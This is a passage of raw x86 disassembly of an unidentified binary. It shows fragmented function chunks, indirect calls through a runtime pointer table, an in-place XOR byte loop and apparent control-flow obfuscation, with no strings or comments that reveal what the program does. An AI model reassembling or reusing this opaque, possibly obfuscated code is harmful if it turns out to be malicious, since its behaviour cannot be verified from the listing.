		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B35A0


loc_9B10DC:				; CODE XREF: sub_9B35A0-344Bj
		push	dword_9BCB74
		pop	edx
		push	dword ptr [edx]
		pop	ecx
		push	eax
		call	dword ptr [ecx+24h]


loc_9B10EA:				; CODE XREF: sub_9B35A0-3451j
					; sub_9B35A0-2B8Aj
		push	edi
		call	sub_9ABE84
		lea	edi, dword_9BBF74[esi]
		mov	ecx, 0Ch
		xor	eax, eax
		rep stosd
		jmp	loc_9AC99B
; END OF FUNCTION CHUNK	FOR sub_9B35A0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B57B4


loc_9B1104:				; CODE XREF: sub_9B57B4-8FB9j
					; DATA XREF: .text:off_9B91C8o
		push	dword_9BCB74
		pop	ecx
		push	dword ptr [ecx+0Ch]
		pop	edx
		lea	eax, [ebp+var_144]
		push	eax
		push	100h
		push	[ebp+var_24]
		pop	ecx
		push	ecx
		call	dword ptr [edx+0Ch]
		mov	edx, dword_9BCB74
		mov	eax, [edx+0Ch]
		push	0
		jmp	loc_9B45E4
; END OF FUNCTION CHUNK	FOR sub_9B57B4
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9B1134	proc near		; DATA XREF: .text:off_9B9F9Do

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

; FUNCTION CHUNK AT 009AC9D7 SIZE 0000002B BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	off_9BAD8E
		push	off_9B8CBD
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	[ebp+var_4], 0
		push	[ebp+arg_0]
		pop	eax
		push	eax
		call	sub_9B0C20
		jmp	loc_9AC9D7
sub_9B1134	endp

; ---------------------------------------------------------------------------
		align 4
		push	dword_9BCB74
		pop	eax
		mov	ecx, [eax]
		push	edx
		push	off_9BACEC
		call	dword ptr [ecx+34h]
		retn
; ---------------------------------------------------------------------------
		push	esi
		push	off_9B9844
		pop	ecx
		call	sub_9B5480
		mov	ecx, 1
		call	sub_9B4610
		xor	esi, esi


loc_9B11A1:				; CODE XREF: .text:009B11ABj
		push	esi
		call	sub_9ABE84
		inc	esi
		cmp	esi, 40h
		jl	short loc_9B11A1
		jmp	off_9B9860
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B1A08


loc_9B11B4:				; CODE XREF: sub_9B1A08-133Aj
					; DATA XREF: .text:off_9BA4C5o
		push	[ebp+var_41E0]
		pop	eax
		and	eax, eax
		jnz	loc_9B16BE
		jmp	off_9B8F8D
; END OF FUNCTION CHUNK	FOR sub_9B1A08
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9ABD30


loc_9B11CC:				; CODE XREF: sub_9ABD30+20j
		mov	ecx, eax


loc_9B11CE:				; CODE XREF: sub_9ABD30+4A79j
		mov	edx, [esp+0Ch+arg_8]
		pop	edi
		pop	esi
		mov	dword ptr [edx], 0
		push	ecx
		pop	eax
		pop	ebp
		retn	10h
; END OF FUNCTION CHUNK	FOR sub_9ABD30
; ---------------------------------------------------------------------------
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------
		align 4
		mov	esp, [ebp-18h]
; START	OF FUNCTION CHUNK FOR sub_9AB1A0


loc_9B11EB:				; CODE XREF: sub_9AB1A0+A738j
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		push	off_9B9632


loc_9B11F8:				; CODE XREF: sub_9AB1A0+4CDCj
		push	dword_9BCB74
		pop	edx
		push	dword ptr [edx]
		pop	eax
		call	dword ptr [eax+1Ch]
		mov	ecx, [ebp-10h]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	10h
; END OF FUNCTION CHUNK	FOR sub_9AB1A0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B63D8


loc_9B1218:				; CODE XREF: sub_9B63D8-6061j
		push	dword ptr [esi+0Ch]
		pop	eax
		cmp	eax, ebx
		jz	loc_9AF944
		jmp	off_9BB025
; END OF FUNCTION CHUNK	FOR sub_9B63D8
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AD3EC


loc_9B122C:				; CODE XREF: sub_9AD3EC+4Aj
		push	dword ptr [ebp-28h]
		pop	eax
		mov	ecx, eax
		and	ecx, 0FFFFh
		push	ecx
		push	dword ptr [ebp-24h]
		pop	edx
		push	edx
		shr	eax, 10h
		push	eax
		push	dword ptr [ebp-2Ch]
		pop	eax
		push	eax
		pop	ecx
		and	ecx, 0FFFFh
		push	ecx
		shr	eax, 10h
		push	eax
		push	dword ptr [ebp-30h]
		pop	edx
		push	edx
		push	off_9BA861	; Format
		push	103h		; Count
		mov	eax, [ebp+0Ch]
		push	eax		; Dest
		call	_snprintf
		add	esp, 24h
		jmp	loc_9B4093
; END OF FUNCTION CHUNK	FOR sub_9AD3EC
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B63D8


loc_9B1278:				; CODE XREF: sub_9B63D8-99B9j
					; sub_9B63D8-DF6j
					; DATA XREF: ...
		mov	al, [ebp-2117h]
		cmp	al, 30h
		jl	loc_9AF944
		jmp	loc_9AB0C8
; END OF FUNCTION CHUNK	FOR sub_9B63D8
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AFF64


loc_9B128C:				; CODE XREF: sub_9AFF64+79j
		push	eax
		push	7
		push	ecx
		jnz	loc_9ADB20
		jmp	loc_9B0444
; END OF FUNCTION CHUNK	FOR sub_9AFF64
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B5904


loc_9B129C:				; CODE XREF: sub_9B5904-1A0Ej
					; DATA XREF: .text:off_9BA6DBo
		or	esi, esi
		sub	eax, eax
		mov	[ebp-20h], esi


loc_9B12A3:				; CODE XREF: sub_9B5904-624Bj
		mov	[ebp-1Ch], eax
		cmp	eax, 20h
		jge	loc_9AFF1D
		jmp	off_9B8DE7
; END OF FUNCTION CHUNK	FOR sub_9B5904
; ---------------------------------------------------------------------------
		align 4
		mov	esp, [ebp-18h]
; START	OF FUNCTION CHUNK FOR sub_9ABE84


loc_9B12BB:				; CODE XREF: sub_9ABE84+5Fj
					; sub_9ABE84+8AB8j
		mov	[ebp+var_4], 0FFFFFFFFh
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	ecx, [ebp+var_1C]
		xor	ecx, ebp
		call	sub_9AAAC1
		mov	esp, ebp
		pop	ebp
		retn	4
; END OF FUNCTION CHUNK	FOR sub_9ABE84
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B31A8


loc_9B12E0:				; CODE XREF: sub_9B31A8+116Bj
		mov	ecx, dword_9BCB74
		push	dword ptr [ecx]
		pop	edx
		push	dword ptr [eax+8]
		pop	eax
		push	eax
		call	dword ptr [edx+2Ch]


loc_9B12F1:				; CODE XREF: sub_9B31A8-50DEj
		push	dword ptr [esi]
		pop	ecx
		push	ecx
		mov	edx, 0EA60h
		call	sub_9AD590
		test	eax, eax
		jz	loc_9AE0B8
		jmp	off_9B8DEB
; END OF FUNCTION CHUNK	FOR sub_9B31A8
; ---------------------------------------------------------------------------
		align 10h
		mov	esp, [ebp-18h]
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		push	dword ptr [ebp-1Ch]
		pop	esi
; START	OF FUNCTION CHUNK FOR sub_9ABF08


loc_9B131E:				; CODE XREF: sub_9ABF08+331Aj
		push	esi
		pop	eax
		mov	ecx, [ebp-10h]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	0Ch
; END OF FUNCTION CHUNK	FOR sub_9ABF08
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_9B1334	proc near		; CODE XREF: sub_9B1D80-6CE3p
					; sub_9ADAC4-26A6p ...

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 009B60D4 SIZE 00000037 BYTES

		test	eax, eax
		jz	loc_9B60DA
		jmp	off_9B979F
sub_9B1334	endp

; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B174C


loc_9B1344:				; CODE XREF: sub_9B174C+5Ej
					; DATA XREF: .text:off_9BA43Fo
		push	dword ptr [eax]
		pop	eax
		cmp	edi, eax
		jnb	loc_9B166F
		jmp	off_9BA869
; END OF FUNCTION CHUNK	FOR sub_9B174C
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AF960


loc_9B1358:				; CODE XREF: sub_9AF960-312j
		sub	edx, eax
		push	ebx
		pop	edi
		dec	edi


loc_9B135D:				; CODE XREF: sub_9AF960+1A03j
		mov	cl, [edi+1]
		inc	edi
		test	cl, cl
		jnz	short loc_9B135D
		jmp	off_9B8FC4
; END OF FUNCTION CHUNK	FOR sub_9AF960
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AF030


loc_9B136C:				; CODE XREF: sub_9AF030+516Dj
					; DATA XREF: .text:off_9B89BEo
		cmp	[ebp+var_24], ebx
		jnz	loc_9AC62B
		jmp	off_9B9FDB
; END OF FUNCTION CHUNK	FOR sub_9AF030
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AC250


loc_9B137C:				; CODE XREF: sub_9AC250+9720j
					; DATA XREF: .text:off_9BAAD4o
		push	dword ptr [esi]
		pop	edx
		cmp	edx, edi
		jz	loc_9B536C
		jmp	off_9B9264
; END OF FUNCTION CHUNK	FOR sub_9AC250
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9ADDA4


loc_9B1390:				; CODE XREF: sub_9ADDA4+FACj
		mov	[ebp-2Ch], esi
		push	1
		pop	ecx


loc_9B1396:				; CODE XREF: sub_9ADDA4+B06j
		mov	[ebp-1Ch], ecx
		cmp	ecx, edi
		jge	loc_9B5468
		jmp	off_9B9040
; END OF FUNCTION CHUNK	FOR sub_9ADDA4
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B63D8


loc_9B13A8:				; CODE XREF: sub_9B63D8-234Fj
					; sub_9B63D8-1950j
		mov	[ebp-212Ch], ebx
		cmp	dword ptr [eax+ebx*4], 0
		jz	loc_9B593C
		jmp	off_9BAA01
; END OF FUNCTION CHUNK	FOR sub_9B63D8
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B3B1C


loc_9B13C0:				; CODE XREF: sub_9B3B1C+50j
					; sub_9B3B1C+F2Bj
					; DATA XREF: ...
		push	6
		mov	edx, off_9B985C
		push	2004h
		pop	ecx
		call	sub_9B4480
		and	eax, eax
		jnz	loc_9B1D3F
		jmp	off_9B99AF
; END OF FUNCTION CHUNK	FOR sub_9B3B1C
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B3864


loc_9B13E4:				; CODE XREF: sub_9B3864-1191j
					; DATA XREF: .text:off_9B9336o
		xor	edx, edx
		cmp	edx, [ebp+var_2068]
		sbb	eax, eax
		inc	eax
		mov	[ebp+var_206C],	eax
		lea	edx, [ebp+var_201C]
		mov	[ebp+var_205C],	edx
		jmp	loc_9AE2C6
; END OF FUNCTION CHUNK	FOR sub_9B3864
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9B1408:				; CODE XREF: sub_9B0930-2D4j
					; DATA XREF: .text:off_9BA8C4o
		push	off_9BA68C
		push	dword ptr [eax]
		pop	eax
		push	eax
		call	esi
		push	dword_9BCB74
		pop	ecx
		push	dword ptr [ecx]
		pop	edx
		mov	[edx+34h], eax
		push	dword_9BCB74
		pop	eax
		mov	eax, [eax]
		push	dword ptr [eax+34h]
		pop	ecx
		test	ecx, ecx
		jz	loc_9B23EF
		jmp	off_9B9F62
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9AB1A0


loc_9B143C:				; CODE XREF: sub_9AB1A0+2B22j
					; DATA XREF: .text:off_9B97B9o
		push	eax
		pop	ecx
		and	ecx, esi
		cmp	edi, ecx
		jz	loc_9B290C
		jmp	loc_9B0720
; END OF FUNCTION CHUNK	FOR sub_9AB1A0
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B3D1C


loc_9B1450:				; CODE XREF: sub_9B3D1C-2518j
					; DATA XREF: .text:off_9BA4DDo
		push	dword ptr [ebx]
		pop	ecx
		mov	edi, [eax+48h]
		mov	edx, ecx
		shr	ecx, 2
		rep movsd
		push	edx
		pop	ecx
		and	ecx, 3
		rep movsb


loc_9B1464:				; CODE XREF: sub_9B3D1C-251Ej
					; sub_9B3D1C+41j
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		push	dword ptr [ebp-10h]
		pop	ecx
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_9B3D1C
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B1F68


loc_9B1480:				; CODE XREF: sub_9B1F68-6CAEj
					; sub_9B1F68-416Dj
		inc	edx
		jmp	loc_9B5EE2
; END OF FUNCTION CHUNK	FOR sub_9B1F68
; ---------------------------------------------------------------------------
		align 4
		dd 0CB74A151h, 88B009Bh, 3051FF56h, 0CB7435FFh,	8B5A009Bh
		dd 5832FFF0h, 2B3050FFh, 3E83DC6h, 830F0000h, 2658h, 0FFD19FE9h
		dd 498DFFh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9AF5E4


loc_9B14B8:				; CODE XREF: sub_9AF5E4+13FEj
					; DATA XREF: .text:off_9BA7F6o
		mov	edi, ebx
		sub	edx, eax
		dec	edi


loc_9B14BD:				; CODE XREF: sub_9AF5E4+1EDFj
		mov	cl, [edi+1]
		inc	edi
		and	cl, cl
		jnz	short loc_9B14BD
		jmp	loc_9AD8F4
; END OF FUNCTION CHUNK	FOR sub_9AF5E4
; ---------------------------------------------------------------------------
		mov	edi, edi

; =============== S U B	R O U T	I N E =======================================



sub_9B14CC	proc near		; CODE XREF: sub_9B2118:loc_9AFA38p

; FUNCTION CHUNK AT 009B3CB0 SIZE 00000032 BYTES
; FUNCTION CHUNK AT 009B4783 SIZE 0000001C BYTES

		push	ebp
		push	esp
		pop	ebp
		push	0FFFFFFFFh
		push	off_9BAC5B
		push	off_9B8CBD
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		sub	eax, eax
		mov	[ebp-18h], esp
		mov	[ebp-1Ch], eax
		push	off_9B91EC
		pop	ecx
		mov	[ebp-4], eax
		call	sub_9ABA3C
		and	eax, eax
		jz	loc_9B4783
		jmp	off_9B8E79
sub_9B14CC	endp

; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AF030


loc_9B1518:				; CODE XREF: sub_9AF030+1BCEj
		push	dword_9BBFA0[esi]
		pop	ecx
		cmp	ecx, 340h
		jb	loc_9AC62B
		jmp	loc_9B4AE4
; END OF FUNCTION CHUNK	FOR sub_9AF030
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B4480


loc_9B1530:				; CODE XREF: sub_9B4480+A9j
		mov	[ebp+var_32C], ebx
		mov	eax, dword_9BCB74
		mov	ecx, [eax+0Ch]
		lea	edx, [ebp+var_32C]
		push	edx
		push	edi
		push	esi
		push	esi
		lea	eax, [ebp+var_120]
		push	eax
		push	[ebp+var_330]
		pop	edx
		push	edx
		call	dword ptr [ecx+10h]
		or	eax, eax
		jnz	loc_9AE273
		jmp	loc_9B3DD8
; END OF FUNCTION CHUNK	FOR sub_9B4480
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AC6DC


loc_9B1568:				; CODE XREF: sub_9AC6DC+5DFCj
					; sub_9AC6DC:loc_9B3A68j
		push	dword_9BBD20
		pop	eax
		add	eax, 5
		cmp	eax, 64h
		jle	loc_9B004C
		jmp	loc_9AC350
; END OF FUNCTION CHUNK	FOR sub_9AC6DC
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9B1584	proc near		; CODE XREF: StartAddress+DCp

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 009AD087 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 009AE3C4 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 009AEE10 SIZE 0000002F BYTES
; FUNCTION CHUNK AT 009AF938 SIZE 0000000C BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	off_9B99E0
		push	off_9B8CBD
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		mov	[ebp+var_18], esp
		mov	[ebp+var_1C], ebx
		mov	[ebp+var_4], ebx
		push	dword_9BCB74
		pop	eax
		push	dword ptr [eax+14h]
		pop	ecx
		push	off_9B98C1
		call	dword ptr [ecx+0Ch]
		add	esp, 4
		push	dword_9BCB74
		pop	edx
		push	dword ptr [edx]
		pop	eax
		call	dword ptr [eax+30h]
		mov	dword_9BCB94, eax
		mov	dword_9BCB98, ebx
		mov	ecx, 140h
		sub	eax, eax
		mov	edi, off_9BA180
		rep stosd
		mov	ecx, off_9B9844
		call	sub_9B5480
		mov	ecx, 1
		call	sub_9B4610
		sub	esi, esi


loc_9B1609:				; CODE XREF: sub_9B1584-1C45j
		mov	[ebp+var_20], esi
		cmp	esi, 40h
		jge	loc_9AEE10
		jmp	off_9B9DF7
sub_9B1584	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_9B161C	proc near		; CODE XREF: sub_9B161C+EAj
					; sub_9B5300+13j
					; DATA XREF: ...

var_4		= dword	ptr -4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 009AB904 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 009AC93C SIZE 00000021 BYTES
; FUNCTION CHUNK AT 009B16EC SIZE 00000013 BYTES
; FUNCTION CHUNK AT 009B1700 SIZE 00000012 BYTES

		push	ebp
		push	edi
		push	10h
		pop	eax
		call	sub_9AC32C
		test	al, 3
		jnz	loc_9ABA03
		jmp	loc_9B16EC
sub_9B161C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AD97C


loc_9B1634:				; CODE XREF: sub_9AD97C-17E5j
					; DATA XREF: .text:off_9BAADCo
		push	dword_9BCB74
		pop	ecx
		mov	edx, [ecx+0Ch]
		push	eax
		call	dword ptr [edx+14h]
		jmp	loc_9B454B
; END OF FUNCTION CHUNK	FOR sub_9AD97C
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_9B1648	proc near		; CODE XREF: sub_9B2160+388Aj
					; DATA XREF: .text:off_9BA170o
		push	ebx
		pop	ecx
		xor	eax, eax
		mov	edx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb
sub_9B1648	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_9B2160


loc_9B165A:				; CODE XREF: sub_9B2160+3884j
		push	dword ptr [esi+44h]
		pop	eax
		or	eax, eax
		jz	loc_9B2434
		jmp	loc_9B03B4
; END OF FUNCTION CHUNK	FOR sub_9B2160
; ---------------------------------------------------------------------------
		align 4
		mov	esp, [ebp-18h]
; START	OF FUNCTION CHUNK FOR sub_9B174C


loc_9B166F:				; CODE XREF: sub_9B174C-60D0j
					; sub_9B174C-403j ...
		mov	[ebp+var_4], 0FFFFFFFFh
		mov	ecx, dword_9BCB74
		mov	edx, [ecx]
		push	off_9BADC8
		call	dword ptr [edx+1Ch]
		push	[ebp+var_10]
		pop	ecx
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	0Ch
; END OF FUNCTION CHUNK	FOR sub_9B174C
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B1A08


loc_9B169C:				; CODE XREF: sub_9B1A08+1D79j
					; DATA XREF: .text:off_9B9280o
		lea	edx, [ebp+var_402C]
		push	edx
		push	eax
		lea	eax, [ebp+var_201C]
		push	eax
		mov	esi, [ebp+var_41E4]
		sub	eax, eax
		call	sub_9B3F28
		mov	[ebp+var_4200],	eax


loc_9B16BE:				; CODE XREF: sub_9B1A08-205Ej
					; sub_9B1A08-1340j ...
		push	2000h
		lea	ecx, [ebp+var_401C]
		push	ecx
		sub	eax, eax
		lea	ecx, [ebp+var_403C]
		lea	ebx, [ebp+var_4208]
		mov	edi, [ebp+var_41E4]
		call	sub_9B0734
		jmp	off_9B9240
; END OF FUNCTION CHUNK	FOR sub_9B1A08
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B161C


loc_9B16EC:				; CODE XREF: sub_9B161C+12j
		push	[esp+14h+var_4]
		pop	eax
		cmp	esi, eax
		jg	loc_9AC93E
		jmp	off_9B962E
; END OF FUNCTION CHUNK	FOR sub_9B161C
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B161C


loc_9B1700:				; CODE XREF: sub_9B161C-4CC5j
					; DATA XREF: .text:off_9BA98Ao
		sub	esi, eax
		add	ebx, eax
		test	esi, esi
		jg	sub_9B161C
		jmp	off_9BAB5A
; END OF FUNCTION CHUNK	FOR sub_9B161C
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9B1714:				; CODE XREF: sub_9B0930-5706j
		push	off_9B9530
		push	dword ptr [eax+0Ch]
		pop	eax
		push	dword ptr [eax]
		pop	ecx
		push	ecx
		call	esi
		mov	edx, dword_9BCB74
		mov	ecx, [edx+0Ch]
		mov	[ecx+4], eax
		mov	edx, dword_9BCB74
		push	dword ptr [edx+0Ch]
		pop	eax
		push	dword ptr [eax+4]
		pop	ecx
		test	ecx, ecx
		jz	loc_9B23EF
		jmp	loc_9AB5D8
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9B174C	proc near		; CODE XREF: sub_9B1D80-55F3p
					; sub_9B3864-11A5p

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

; FUNCTION CHUNK AT 009AB650 SIZE 00000031 BYTES
; FUNCTION CHUNK AT 009B1344 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 009B166F SIZE 0000002C BYTES
; FUNCTION CHUNK AT 009B24A4 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 009B3F98 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 009B54E8 SIZE 00000040 BYTES
; FUNCTION CHUNK AT 009B5DA0 SIZE 00000007 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	off_9BA3F4
		push	off_9B8CBD
		push	large dword ptr	fs:0
		pop	eax
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		mov	esi, edx
		mov	ebx, ecx
		mov	[ebp+var_18], esp
		push	[ebp+arg_0]
		pop	edi
		mov	eax, dword_9BCB74
		mov	ecx, [eax]
		push	off_9BADC8
		call	dword ptr [ecx+18h]
		mov	[ebp+var_4], 0
		mov	dword ptr [esi], 0
		push	dword_9BBE3C
		pop	eax
		or	eax, eax
		jz	loc_9B166F
		jmp	off_9BA43F
sub_9B174C	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B1A08


loc_9B17B0:				; CODE XREF: sub_9B1A08-2957j
		mov	edx, dword_9BCB74
		mov	ecx, [edx+10h]
		push	eax
		call	dword ptr [ecx+38h]
		mov	[ebp+var_41E4],	0FFFFFFFFh


loc_9B17C7:				; CODE XREF: sub_9B1A08-295Dj
					; sub_9B1A08+9ACj ...
		xor	edi, edi
		mov	[ebp+var_41E8],	edi
		mov	ebx, [ebp+var_41E0]


loc_9B17D5:				; CODE XREF: sub_9B1A08-2066j
		cmp	edi, ebx
		jnb	loc_9AE008
		jmp	off_9B93A7
; END OF FUNCTION CHUNK	FOR sub_9B1A08
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B3D1C


loc_9B17E4:				; CODE XREF: sub_9B3D1C+F8Ej
					; DATA XREF: .text:off_9BA0B9o
		push	dword ptr [ebx]
		pop	ecx
		mov	edi, [eax+44h]
		push	ecx
		pop	edx
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb


loc_9B17F8:				; CODE XREF: sub_9B3D1C+F88j
		push	dword ptr [ebx+48h]
		pop	esi
		test	esi, esi
		jz	loc_9B1464
		jmp	off_9BA4DD
; END OF FUNCTION CHUNK	FOR sub_9B3D1C
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B6370


loc_9B180C:				; CODE XREF: sub_9B6370-5j
		or	edi, edx
		mov	edx, edi
		movzx	edi, byte ptr [esi]
		xor	eax, edi
		mov	[esi], al
		xor	eax, edi
		add	ecx, eax
		adc	edx, 0
		inc	esi
		dec	ebx
		jnz	loc_9B6357
		jmp	off_9BACB6
; END OF FUNCTION CHUNK	FOR sub_9B6370
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9AC6DC


loc_9B182C:				; CODE XREF: sub_9AC6DC+35AEj
					; DATA XREF: .text:off_9B97FAo
		mov	ecx, 64h


loc_9B1831:				; CODE XREF: sub_9AC6DC+35A8j
		mov	dword_9BBD20, ecx
		jmp	loc_9B0058
; END OF FUNCTION CHUNK	FOR sub_9AC6DC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B649C


loc_9B183C:				; CODE XREF: sub_9B649C-31F5j
					; DATA XREF: .text:off_9BAA09o
		add	eax, 4
		mov	[ebp+var_1C], eax


loc_9B1842:				; CODE XREF: sub_9B649C-31FBj
		test	bl, 20h
		jz	loc_9AEA06
		jmp	loc_9AEA00
; END OF FUNCTION CHUNK	FOR sub_9B649C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B63D8


loc_9B1850:				; CODE XREF: sub_9B63D8-7046j
		push	400h
		pop	eax


loc_9B1856:				; CODE XREF: sub_9B63D8-704Cj
		push	eax
		lea	edx, [ebx+ebp-2120h]
		push	edx
		lea	edi, [ebp-2148h]
		push	dword ptr [ebp-2138h]
		pop	esi
		mov	eax, 0Ah
		call	sub_9B0D34
		mov	[ebp-2174h], eax
		cmp	eax, 4
		jnz	loc_9AF94B
		jmp	loc_9AD634
; END OF FUNCTION CHUNK	FOR sub_9B63D8
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9B188C:				; CODE XREF: sub_9B0930-2575j
					; DATA XREF: .text:off_9BAF67o
		push	off_9B92F0
		push	dword ptr [eax]
		pop	ecx
		push	ecx
		call	esi
		mov	edx, dword_9BCB74
		mov	ecx, [edx]
		mov	[ecx+10h], eax
		push	dword_9BCB74
		pop	edx
		mov	eax, [edx]
		mov	ecx, [eax+10h]
		test	ecx, ecx
		jz	loc_9B23EF
		jmp	loc_9B505C
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9AD3EC


loc_9B18BC:				; CODE XREF: sub_9AD3EC+20D1j
					; DATA XREF: .text:off_9B8C68o
		shr	ebx, 1Fh
		shl	ebx, cl
		or	edi, ebx
		mov	[esi], edi
		inc	edx
		jmp	loc_9AD42D
; END OF FUNCTION CHUNK	FOR sub_9AD3EC
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AFB1C


loc_9B18CC:				; CODE XREF: sub_9AFB1C-2D53j
		push	dword ptr [edi+eax]
		pop	edx
		add	eax, 4
		mov	[esi+14h], edx
		mov	[ebp-1Ch], eax


loc_9B18D9:				; CODE XREF: sub_9AFB1C-2D59j
		test	bl, 40h
		jz	loc_9B02CB
		jmp	loc_9B3B9C
; END OF FUNCTION CHUNK	FOR sub_9AFB1C
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B04A8


loc_9B18E8:				; CODE XREF: sub_9B04A8-2F73j
		test	bl, 4
		jz	loc_9AFD43
		jmp	loc_9B01B8
; END OF FUNCTION CHUNK	FOR sub_9B04A8
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_9B18F8	proc near		; CODE XREF: sub_9B3A74-8BF5p
					; sub_9B3408-62A9p

arg_0		= dword	ptr  4

